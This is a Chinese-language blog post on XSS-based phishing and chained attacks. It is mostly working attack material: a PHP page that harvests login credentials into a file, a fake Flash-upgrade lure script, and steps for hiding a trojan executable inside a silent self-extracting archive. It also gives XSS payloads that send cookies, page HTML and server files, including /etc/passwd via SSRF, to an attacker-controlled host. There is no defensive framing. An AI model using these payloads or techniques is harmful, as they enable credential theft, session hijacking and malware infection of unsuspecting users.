XSS钓鱼和组合拳技巧

逃离我推掉我的手 2022-09-11 01:15 60阅读 0赞

一.xss钓鱼

①保存账户密码的后端钓鱼网页

  1. 保存js&css到服务器,登录action改为接受密码的文件action="./pass.php"
  2. <?php //php
  3. $user=$\_POST\['username'\];
  4. $pass=$\_POST\['password'\];
  5. $file=fopen('pass.txt','a+');
  6. fwrite($file,$user."|"."pass" . "\\n");
  7. fclose($file);
  8. echo "<script>window.location.href=\\"http://192.168.0.1\\"</script>\\n";
  9. ?>
  10. 攻击构造payload
  11. <script>window.location.href="http://192.168.0.1/login.html"</script>
  12. php S 0.0.0.0:8080 t ./

②flash伪造钓鱼

  1. #https://github.com/r00tSe7en/Fake-flash.cn
  2. 添加xss平台模块
  3. window.alert = function(name){
  4. var iframe = document.createElement("IFRAME");
  5. iframe.style.display="none";
  6. iframe.setAttribute("src",'data:text/plain');
  7. document.documentElement.appendChild(iframe);
  8. window.frames\[0\].window.alert(name);
  9. iframe.parentNode.removeChild(iframe);
  10. }
  11. alert("您的FLASH版本过低,尝试升级后访问该页面!");
  12. window.location.href="http://www.flash.com";
  13. #制作自解压捆绑
  14. #一个马.exe,一个正常exe,全选,winrar添加到压缩文件,选择创建自解压格式压缩文件,高级->自解压选项,设置解压路径,c:\\windows\\temp\\,设置->解压后运行两个exe文件,模式全部隐藏,更新,解压并更新文件,覆盖所有文件。
  15. #ResourceHacker修改文件图标

二.特殊xss和组合拳

三个

  1. COOKIE
  2. <svg/onload="javascript:document.location.href=('http://xx.xx.xx.xx:7777?cookie='+document.cookie)">
  3. 读取HTML
  4. <svg/onload="document.location='http://xx.xx.xx.xx:7777/?'+btoa(document.body.innerHTML)">
  5. 读文件
  6. <svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://xx.xx.xx.xx:7777/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("GET","file.php",true); xmlhttp.send(); ">

ssrf+xss组合

  1. XSS+SSRF读取服务器文件
  2. <svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps\_ip:23333/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">

发表评论

表情:
评论列表 (有 0 条评论,60人围观)

还没有评论,来说两句吧...

相关阅读

    相关 Redis未授权+CVE-2019-0708组合利用

    0x01 简介 本次测试为实战测试,测试环境是授权项目中的一部分,敏感信息内容已做打码处理,仅供讨论学习。请大家测试的时候,务必取得授权。 拿到授权项目的时候,客户只给

    相关 钓鱼

             有一个博士分到一家研究所,成为学历最高的一个人。有一天他到单位后面的小池塘去钓鱼,正好正副所长在他的一左一右,也在钓鱼。他只是微微点了点头,这两个本科生,有啥